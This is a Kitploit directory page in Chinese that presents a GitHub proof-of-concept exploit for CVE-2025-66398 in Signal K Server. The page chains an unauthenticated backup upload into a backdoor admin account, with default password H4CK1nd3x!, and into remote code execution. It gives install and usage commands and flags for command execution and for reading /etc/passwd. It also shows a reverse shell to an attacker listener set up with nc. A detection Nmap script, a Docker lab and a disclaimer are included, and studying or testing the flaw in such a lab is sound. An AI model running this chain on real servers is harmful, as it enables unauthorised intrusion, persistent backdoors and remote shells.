Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2025-66398 — CVE-2025-66398 — Signal K Server ≤ 2.18.0 RCE PoC | Kitploit
工具/GitHubGitHub/joshuavanderpoll/cve-2025-66398
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制学习与教育红队远程访问工具Payload 开发实验室与实践
GitHubjoshuavanderpoll/cve-2025-66398

cve-2025-66398

266个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

CVE-2025-66398 — Signal K Server ≤ 2.18.0 RCE PoC

查看仓库网站
分享

CVE-2025-66398 — Signal K Server RCE 概念验证

Go Python Nmap

📜 描述

CVE-2025-66398 是 Signal K Server 的一个问题:未认证攻击者可以通过 /skServer/validateBackup 污染服务器的恢复状态,然后通过 /skServer/restore 劫持配置,注入后门管理员账户,并(可选)通过将安全策略切换为攻击者控制的 Node.js 模块实现远程代码执行(RCE)。

受影响版本: Signal K Server ≤ 2.18.0

影响(高级别): 未认证状态污染 → 后门管理员注入 → 远程代码执行(当发生恢复 + 重启时)

✨ 特性

  • — 测试 是否接受未认证上传。
漏洞检测
/skServer/validateBackup
  • Nmap NSE 脚本 — 可即用的 http-signalk-cve-2025-66398.nse,用于网络扫描(仅检测,不进行利用)。
  • 交互式利用流程 — 引导您完成 3 个阶段,并提示输入凭据/路径。
  • 非交互模式 — 通过参数运行完整链(检测、命令执行、读/写文件、反弹 Shell)。
  • 🛠️ 安装

    Python

    OSX/Linux

    root@kitploit:~
    git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
    cd CVE-2025-66398
    python3 -m venv .venv
    source .venv/bin/activate
    pip3 install -r requirements.txt
    

    Windows

    root@kitploit:~
    git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
    cd CVE-2025-66398
    python3 -m venv .venv
    .venv\Scripts\activate
    pip3 install -r requirements.txt
    

    GoLang

    root@kitploit:~
    git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
    cd CVE-2025-66398
    go build -o exp cve-2025-66398.go
    

    直接通过 Go 安装

    root@kitploit:~
    go install github.com/joshuavanderpoll/cve-2025-66398@latest
    

    不安装直接运行

    root@kitploit:~
    go run github.com/joshuavanderpoll/cve-2025-66398@latest -target http://127.0.0.1:8111
    

    ⚙️ 使用

    本 PoC 有两种模式:

    • 交互模式(默认):引导式提示 + 小菜单。
    • 非交互模式:传递参数,如 -check、-command、-read-file 等(仅建议在首次成功交互模式后使用)。

    帮助 / 选项

    root@kitploit:~
    python3 cve-2025-66398.py -h
    # 或 GoLang 版本
    ./cve-2025-66398 -h
                    ___ __ ___ ___      __   __ _______ ___ 
      ____ _____ __|_  )  \_  ) __|___ / /  / /|__ / _ ( _ )
     / _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
     \__|\_/\___|  /___\__/___|___/   \___/\___/___//_/\___/
                                                            
      https://github.com/joshuavanderpoll/cve-2025-66398
    
    usage: exp.py [-h] [-target URL] [-useragent UA] [-timeout SEC] [-target-os OS] [-signalk-dir DIR] [-check] [-admin-user USER] [-admin-pass PASS] [-backdoor-user USER] [-backdoor-pass PASS] [-command CMD]
                  [-read-file PATH] [-write-file CONTENT PATH] [-code CODE] [-shell] [-lhost HOST] [-lport PORT]
    
    CVE-2025-66398 -- Signal K State Pollution -> Backdoor -> RCE
    
    options:
      -h, --help            显示此帮助信息并退出
      -target URL           Signal K 服务器的基本 URL
      -useragent UA         所有 HTTP 请求的 User-Agent 头
      -timeout SEC          请求超时秒数(默认:10)
      -target-os OS         目标服务器操作系统用于载荷/路径适配:linux(默认)或 windows
      -signalk-dir DIR      覆盖目标上的 Signal K 数据目录(默认:取决于 OS)
      -check                测试目标是否易受攻击,但不进行利用
      -admin-user USER      阶段 2 恢复的管理员用户名
      -admin-pass PASS      阶段 2 恢复的管理员密码
      -backdoor-user USER   注入的后门用户名(默认:backdoor)
      -backdoor-pass PASS   注入的后门密码(默认:H4CK1nd3x!)
      -command CMD          在服务器上执行命令(非交互)
      -read-file PATH       通过 RCE 读取远程文件
      -write-file CONTENT PATH
                            通过 RCE 将 CONTENT 写入服务器上的 PATH
      -code CODE            注入原始 Node.js 代码作为安全模块
      -shell                部署反弹 Shell(需要 -lhost 和 -lport)
      -lhost HOST           反弹 Shell 的监听主机
      -lport PORT           反弹 Shell 的监听端口
    

    快速检测(安全)

    root@kitploit:~
    python3 cve-2025-66398.py -target http://127.0.0.1:3000 -check
    # 或 GoLang 版本
    ./cve-2025-66398 -target http://127.0.0.1:3000 -check
    

    检测漏洞

    Nmap NSE 检测

    包含一个独立的 Nmap 脚本,执行相同的未认证探测——不进行利用。

    root@kitploit:~
    # 针对已知的 Signal K 端口
    nmap -p 3000 --script ./http-signalk-cve-2025-66398.nse <target>
    
    # 系统级安装并直接运行(无需路径)
    sudo cp http-signalk-cve-2025-66398.nse $(nmap --datadir)/scripts/
    sudo nmap --script-updatedb
    nmap -p 3000 --script http-signalk-cve-2025-66398 <target>
    

    示例输出:

    root@kitploit:~
    PORT     STATE SERVICE
    9360/tcp open  unknown
    | http-signalk-cve-2025-66398: 
    |   state: VULNERABLE
    |   title: Signal K Server 未认证备份上传导致 RCE
    |   IDs: CVE-2025-66398
    |_  references: https://github.com/joshuavanderpoll/cve-2025-66398  |  https://www.cve.org/CVERecord?id=CVE-2025-66398
    

    交互式利用(引导)

    root@kitploit:~
    python3 cve-2025-66398.py -target http://127.0.0.1:3000
    # 或 GoLang 版本
    ./cve-2025-66398 -target http://127.0.0.1:3000
    

    交互式脚本

    脚本将:

    1. 阶段 1 — 状态污染: 上传恶意 .backup 到 /skServer/validateBackup(无需认证)
    2. 阶段 2 — 配置劫持: 以管理员身份认证并触发 /skServer/restore
    3. 阶段 3 — RCE: 上传第二个备份,将安全策略指向恶意模块,触发恢复,重启,然后执行您的命令/Shell

    非交互示例

    运行完整链(阶段 1 → 3)并执行命令:

    root@kitploit:~
    python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"
    # 或 GoLang 版本
    ./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"
    

    命令执行

    读取远程文件(阶段 3):

    root@kitploit:~
    python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd
    # 或 GoLang 版本
    ./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd
    

    读取文件

    反弹 Shell(阶段 3):

    root@kitploit:~
    nc -lvnp 4444
    
    python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444
    # 或 GoLang 版本
    ./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444
    

    反弹 Shell

    注意:

    • 如果未传递 -admin-user/-admin-pass,脚本会假设后门账户已从之前运行中激活。
    • 默认后门凭据为 backdoor / H4CK1nd3x!(可通过 -backdoor-user / -backdoor-pass 覆盖)。
    • 阶段 3 需要 Signal K 数据目录。脚本会在阶段 2 尝试自动检测;如果无法检测,请传递 -signalk-dir <DIR>。

    🐋 Docker PoC

    一个自包含的 Docker Compose 环境,包含易受攻击的软件,用于本地测试。 查看 DOCKER.md 了解更多细节

    root@kitploit:~
    cd docker/
    docker compose up -d
    python3 ../cve-2025-66398.py -target http://127.0.0.1:9360 -check
    python3 ../cve-2025-66398.py -target http://127.0.0.1:9360
    

    🕵🏼 参考

    • Signal K Server
    • NVD — CVE-2025-66398
    • HackIndex.io — CVE-2025-66398

    📢 免责声明

    本 PoC 仅用于教育和授权安全测试。请勿针对您不拥有或未获明确许可的系统运行。

    下载工具